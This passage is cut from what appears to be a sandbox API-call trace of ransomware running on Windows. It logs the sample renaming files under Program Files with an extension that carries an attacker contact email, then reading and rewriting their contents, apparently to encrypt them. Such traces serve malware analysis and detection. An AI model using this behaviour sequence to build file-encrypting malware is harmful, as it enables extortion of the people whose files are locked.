Size=0x1021) returned 0x70fc118 [0224.526] GetProcessHeap () returned 0x630000 [0224.526] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1021) returned 0x70f6bf0 [0224.526] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.526] ReadFile (in: hFile=0x4e8, lpBuffer=0x70fc118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70fc118*, lpNumberOfBytesRead=0x6afff0c*=0x1000, lpOverlapped=0x0) returned 1 [0224.543] GetProcessHeap () returned 0x630000 [0224.543] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0224.543] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.543] WriteFile (in: hFile=0x4e8, lpBuffer=0x70f6bf0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f6bf0*, lpNumberOfBytesWritten=0x6afff0c*=0x1000, lpOverlapped=0x0) returned 1 [0225.229] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.229] WriteFile (in: hFile=0x4e8, lpBuffer=0x70f7bef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f7bef*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.758] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.758] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.758] CloseHandle (hObject=0x4e8) returned 1 [0225.758] GetProcessHeap () returned 0x630000 [0225.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f6bf0 | out: hHeap=0x630000) returned 1 [0225.758] GetProcessHeap () returned 0x630000 [0225.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70fc118 | out: hHeap=0x630000) returned 1 [0225.758] GetProcessHeap () returned 0x630000 [0225.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0225.958] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c81c0c0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x6affd20, dwReserved1=0x70fc118, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f40 [0225.958] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0225.959] Sleep (dwMilliseconds=0x1) [0225.973] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\index.html", len=0x6f | out: pbstr=0x6afff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\index.html") returned 1 [0225.973] GetProcessHeap () returned 0x630000 [0225.973] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x518c) returned 0x6fe3bb0 [0225.973] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0226.607] CloseHandle (hObject=0x620) returned 1 [0226.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.608] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xd422, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5440 [0226.609] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0226.609] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0226.609] GetProcessHeap () returned 0x630000 [0226.609] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c30a8 [0226.610] GetProcessHeap () returned 0x630000 [0226.610] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70ce4d8 [0226.610] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.610] ReadFile (in: hFile=0x620, lpBuffer=0x70c30a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c30a8*, lpNumberOfBytesRead=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.028] GetProcessHeap () returned 0x630000 [0233.028] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176138 [0233.029] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.029] WriteFile (in: hFile=0x620, lpBuffer=0x70ce4d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ce4d8*, lpNumberOfBytesWritten=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.623] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.623] WriteFile (in: hFile=0x620, lpBuffer=0x70d98d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d98d7*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.977] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.977] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.977] CloseHandle (hObject=0x620) returned 1 [0233.978] GetProcessHeap () returned 0x630000 [0233.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ce4d8 | out: hHeap=0x630000) returned 1 [0233.978] GetProcessHeap () returned 0x630000 [0233.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c30a8 | out: hHeap=0x630000) returned 1 [0233.981] GetProcessHeap () returned 0x630000 [0233.981] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176138 | out: hHeap=0x630000) returned 1 [0235.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.142] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x516854c4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd446, dwReserved0=0x9807496, dwReserved1=0x70c30a0, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4f00 [0235.142] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0235.142] Sleep (dwMilliseconds=0x1) [0235.158] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Windows Security\\BrowserCore\\BrowserCore.exe", len=0x3d | out: pbstr=0x6afff7c*="C:\\Program Files\\Windows Security\\BrowserCore\\BrowserCore.exe") returned 1 [0235.159] GetProcessHeap () returned 0x630000 [0235.159] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b0) returned 0x6fe3bb0 [0235.159] CreateFileW (lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\BrowserCore.exe" (normalized: "c:\\program files\\windows security\\browsercore\\browsercore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.167] Sleep (dwMilliseconds=0x1) [0235.171] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\index.html", len=0x6f | out: pbstr=0x6afff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\index.html") returned 1 [0235.171] GetProcessHeap () returned 0x630000 [0235.171] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50a0) returned 0x6fe3bb0 [0235.171] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0236.951] CloseHandle (hObject=0x410) returned 1 [0236.951] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.951] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.952] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5040 [0236.953] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0236.953] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0236.953] GetProcessHeap () returned 0x630000 [0236.953] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x6f2e420 [0236.953] GetProcessHeap () returned 0x630000 [0236.953] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x6f374b0 [0236.954] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.954] ReadFile (in: hFile=0x410, lpBuffer=0x6f2e420, nNumberOfBytesToRead=0x9060, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f2e420*, lpNumberOfBytesRead=0x6afff0c*=0x9060, lpOverlapped=0x0) returned 1 [0242.623] GetProcessHeap () returned 0x630000 [0242.623] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745c300 [0242.623] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.623] WriteFile (in: hFile=0x410, lpBuffer=0x6f374b0*, nNumberOfBytesToWrite=0x9060, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f374b0*, lpNumberOfBytesWritten=0x6afff0c*=0x9060, lpOverlapped=0x0) returned 1 [0242.623] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.623] WriteFile (in: hFile=0x410, lpBuffer=0x6f4050f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4050f*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0242.623] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.623] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0242.624] CloseHandle (hObject=0x410) returned 1 [0242.624] GetProcessHeap () returned 0x630000 [0242.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f374b0 | out: hHeap=0x630000) returned 1 [0242.624] GetProcessHeap () returned 0x630000 [0242.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2e420 | out: hHeap=0x630000) returned 1 [0242.624] GetProcessHeap () returned 0x630000 [0242.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c300 | out: hHeap=0x630000) returned 1 [0243.076] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.076] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x568f3703, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9092, dwReserved0=0x9807496, dwReserved1=0x6f2e418, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5340 [0243.076] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0243.076] Sleep (dwMilliseconds=0x1) [0243.080] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_TileSmallSquare.scale-100.png", len=0x92 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_TileSmallSquare.scale-100.png") returned 1 [0243.080] GetProcessHeap () returned 0x630000 [0243.080] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5438) returned 0x6fe3bb0 [0243.080] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_TileSmallSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\money_tilesmallsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.082] Sleep (dwMilliseconds=0x1) [0243.111] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-96.png", len=0x7f | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-96.png") returned 1 [0243.112] GetProcessHeap () returned 0x630000 [0243.112] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53cc) returned 0x6fe3bb0 [0243.112] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-96.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.123] Sleep (dwMilliseconds=0x1) [0243.139] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", len=0x72 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd") returned 1 [0243.139] GetProcessHeap () returned 0x630000 [0243.139] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x538c) returned 0x6fe3bb0 [0243.140] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.advertising.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.155] Sleep (dwMilliseconds=0x1) [0243.164] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Supports.png", len=0x82 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Supports.png") returned 1 [0243.164] GetProcessHeap () returned 0x630000 [0243.164] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5338) returned 0x6fe3bb0 [0243.164] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Supports.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\navcolumn_black\\icon_supports.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.170] Sleep (dwMilliseconds=0x1) [0243.179] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Layout.png", len=0x70 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Layout.png") returned 1 [0243.179] GetProcessHeap () returned 0x630000 [0243.179] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5304) returned 0x6fe3bb0 [0243.179] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Layout.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\icon_layout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.179] Sleep (dwMilliseconds=0x1) [0243.202] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-16.png", len=0x97 | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-16.png") returned 1 [0243.202] GetProcessHeap () returned 0x630000 [0243.202] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52a4) returned 0x6fe3bb0 [0243.202] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\square44x44logo.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.202] Sleep (dwMilliseconds=0x1) [0243.216] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Icon.targetsize-16.png", len=0x8c | out: pbstr=0x6afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Icon.targetsize-16.png") returned 1 [0243.216] GetProcessHeap () returned 0x630000 [0243.216] RtlReAllocateHeap 